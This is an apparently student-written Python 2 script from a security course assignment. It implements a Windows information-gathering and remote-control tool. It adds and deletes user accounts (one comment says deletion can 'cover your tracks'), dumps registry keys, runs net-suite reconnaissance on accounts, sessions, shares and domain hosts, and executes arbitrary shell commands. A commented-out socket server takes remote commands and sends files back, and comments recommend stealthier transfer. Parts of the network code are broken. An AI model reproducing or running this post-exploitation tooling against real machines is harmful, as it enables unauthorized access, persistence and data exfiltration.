InfoGather.py

'''
This project is something of a nod to the other course I taught. You'll
be writing a python script to gather information from a host machine and
send it to a target server. We'll be using a bit of the code from our
previous project, which I included in this file already.

HINT: We're gonna use the crap out of the subprocess module in this

Your functions are as follows:
    create_user
        given a name, create a user
    
    delete_user
        get rid of a user, cover your tracks, or just to upset the owner
    
    download_registry_key
        given a root and a key path, send the value to the client
    
    download_file
        given a specific file name (we're not going to do a full drive 
        search, since you already wrote that code in another project),
        download it to the client
    
    gather_information
        - using Ipconfig and Netstat, learn what addresses this machine 
          owns, and what connections it has active
        - using the Net suite, gather the various pieces of intel 
          covered in previous courses, specifically:
			Accounts (Password and account policy data)
			File (Indicates shared files or folders which are in use)
			localgroup(list of groups on a machine)
			session(Display information about sessions on a machine)
			share (lists all shares from the machine)
			user (lists users)
			view (list known computers in the domain)
        
    execute_command
        execute an arbitrary command and send the results back to the 
        client
'''
import subprocess, socket, time, struct
from _winreg import *

def recv_data(sock): #for sending data over the network. Used in the tutuorial but not used in this script.
    data_len, = struct.unpack("!I",sock.recv(4))
    return sock.recv(data_len)
    
def send_data(sock,data): # not used also. its for networking. sending uncessary data over d network is noisy.
    data_len = len(data)
    sock.send(struct.pack("!I",data_len))
    sock.send(data)
    return

def create_user(name,pwd): # creates a user account on a windows system.
	f = open('Output.txt','a+') # opens a file in append mode to save both error n output msgs of the command.
	f.write('******Add user Output**************\n')
	cmd_list = ["net","user","/add",name,pwd] # list of command to execute so as to create a user
	subprocess.Popen(cmd_list,0,None,None,f,f) # f is d argument that points to the which file to pipe the msgs to
	f.write('\n') # makes output readable n clare
	f.close() # closes the file handle object created earlier
	return 

def delete_user(name): # same code as above, but here it deletes a user account on a windows system 
	f = open('Output.txt','a+')
	f.write('******Delete user Output**************\n')
	cmd_list = ['net','user',name,'/del']
	subprocess.Popen(cmd_list,0,None,None,f,f)
	f.write('\n')
	f.close()
	return

def download_registry_key(root, path): # downloads the specified reg. key via the '_winreg' module. d 'path' arg. is d subKey.
	
	subKeyList = list() # creates a list object
	valueDataDict = dict() # creates a dictionary object
	keyValDataType = list() # creates a list object
	regRootDict ={  "HKEY_CLASSES_ROOT":HKEY_CLASSES_ROOT ,	# the values of this dictionary are macros in the _winreg module.  
					"HKEY_CURRENT_USER":HKEY_CURRENT_USER , # this ensures the correct reg key is accessed as a new regkey wud
					"HKEY_LOCAL_MACHINE":HKEY_LOCAL_MACHINE , # b created if the entered key by the user is not part of d 5 main
					"HKEY_USERS":HKEY_USERS ,  # root reg keys as seen in the dictionary's vaue. Thus d user types only the key.
					"HKEY_CURRENT_CONFIG":HKEY_CURRENT_CONFIG}
	
	if root in regRootDict:
		root = regRootDict[root]
	else:
		print "Invalid Parent Root Key "	#prints if user enters a wrong reg. key
		return
	
	opndKeyHandle = CreateKey(root, path) #uses the createkey functiion to create n rturn a key handle objectof d specified key and 
	#subkey via d root n path respectively
	subKeys, values, lstModified = QueryInfoKey(opndKeyHandle) # querryinfokey returns a 3-tuple of ints. i.e. no. of subkeys, 
	#values and lst modified of a specified root key.
	
	for i in range(subKeys):
		subKeyList.append(EnumKey(opndKeyHandle,i))  #appends each subkey in the root key into the subkey list
	
	for i in range(values):
		value,data,dataType = EnumValue(opndKeyHandle,i) # EnumValue returns a 3-tuple of a str,int n hex. i.e d value, data and 
		#data-typeof the specified sub_key
		valueDataDict[value] = str(data) # convets d int to a string for easy appending to the output file.
		keyValDataType.append(hex(dataType)) # hex() returns a stirng dt s d hex value of an int or long 
	
	f = open('Output.txt','a+') # creates a file object 'f' with apeend mode with '+' (read & write potions) 
	f.write('********Subkey List******\n') # makes output readable
	for i in subKeyList:
		f.write(i+'\n') # writes/appends the subKeies to the output file
		
	f.write('********Value Data Pair******\n') # makes output readable
	j = 0
	for i in valueDataDict:
		f.write(i+' : '+valueDataDict[i]+' : '+keyValDataType[j]+'\n') #append/writes the value,data n data-type to d file
		j+=1
	
	f.close()  # closes the file handle object
	return
	
def download_file(fileName, client): # downloads a requested file over the network. TFTP shd b used since its stealthier.
	f = open(fileName,'r+') #opens the file to download in read mode. change to socket.SOCK_DGRAM for UDP since TFTP uses UDP.
	data = f.read() # reads data from file to download into a temp. buffer variable
	f.close() # closes the file handle object
	send_data(client, data) # sends d data over the network
	return
        
def gather_information(): # gathers info via some of the NET* suite of cmmands
	cmdList = ["net accounts",
			"net file",
			"net localgroup",
			"net session",
			"net share",
			"net user",
			"net view"]
	f = open('Output.txt','a+') # opens a file in append mode
	f.write('********Net Suite Output******\n') # makes output readable
	for cmd in cmdList:
		  cmmd = subprocess.call(cmd,0,None,None,f,f) # calls each function via d 'call()' function. it waits for each 
	'''
    command to finish executing b4 calling the next command. this is nt the case for 
    'Popen()' as it wd nt wait for a cmd to finish executing b4 it calls the next one. since some 
    of the cmd in the net suite take tme to complete executing,i used the 'call()' function instead 
    as nt used in the tutorial video.subprocess.Popen.terminate(cmmd) ==> this sis how to terminate 
    a Popen() process. Note: 'cmmd' must b a Popen() object i.e.
    it must hold d retrn value from a Popen(). e.g cmmd = subprocess.Popen(command,0,None,) b4 
    we cn use the terminate attribute of the 'Popen()' object 
	'''
	f.close() # closes the file handle object
	return
    
def execute_command(cmd): # executes a specified command
	f = open('Output.txt','a+')
	f.write('********Execute Command Output******\n')
	try:
		subprocess.call(cmd,0,None,None,f,f) # executes only if cmd is a processes' command. e.g.
    #net* since subprocess only spawns another process (oe program) in the current python script.
	except:
		 subprocess.call(cmd,0,None,None,f,f,shell=True) 
	'''
    'shell=True' allows command line commands like dir,whoami,mkdir e.t.c.
    to get executed. 'shell = True' poses asecurity threath if the input is not properly 
    scrutinised as it makes the command execute in the bash shell.  
    subprocess.Popen.terminate(cmmd) ==> this is how to terminate a Popen object. 'cmmd' 
    mst be d return value of a Popen obj.
	'''
	f.close() # closes the file handle object
	return
    
def get_data(sock, strToSend): # helps send and receive data all in one function.
	send_data(sock,strToSend)
	return recv_data(sock)

def main(): # program starts here
	
	create_user(raw_input('Name: '),raw_input('Password: '))
	delete_user(raw_input('UserName:'))
	download_registry_key(raw_input('Root: '),raw_input('path: '))
	gather_information()
	task = True
	while task:
		print 'Enter 1 to execute or 0 to exit'
		cmd = raw_input()
		if cmd == '1' :
			execute_command(raw_input('Command To Execute: '))
		else:
			 task = 0
			 
	return
    
main()
    
#download_file(raw_input('File Name To Download: '))
'''
	server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	server.bind(('',3456))
	server.listen(1)
	client,addr = server.accept()
	
	while True:
		
		cmd = get_data(client,'COMMAND: ')
		
		if (cmd == 'CU' ):
			username = get_data(client,'Enter UserNAme: ')
			password = get_data(client,'Enter Password: ')
			create_user(username,password)
		
		elif (cmd == 'DU' ):
			username = get_data(client,'Enter Account Name To Delte: ')
			delete_user(username)
		
		elif (cmd == 'DRK' ):
			root = get_data(client, 'Enter Reg Root: ')
			subKey = get_data(client,'Enter Reg SubKey: ')
			download_registry_key(root,path)
			download_file(fileName,client)
		
		elif (cmd == 'DF'):
			fileName = get_data(client,'Enter File Name To Download: ')
			download_file(fileName, client)
		
		elif (cmd == 'GI'):
			fileName = get_data(client, 'File Name To Save Output of Commands Executed: ')
			gather_information(fileName, client)
		
		
		elif (cmd == 'EC' ):
			command = get_data(client,'Enter Command To Execute: ')
	'''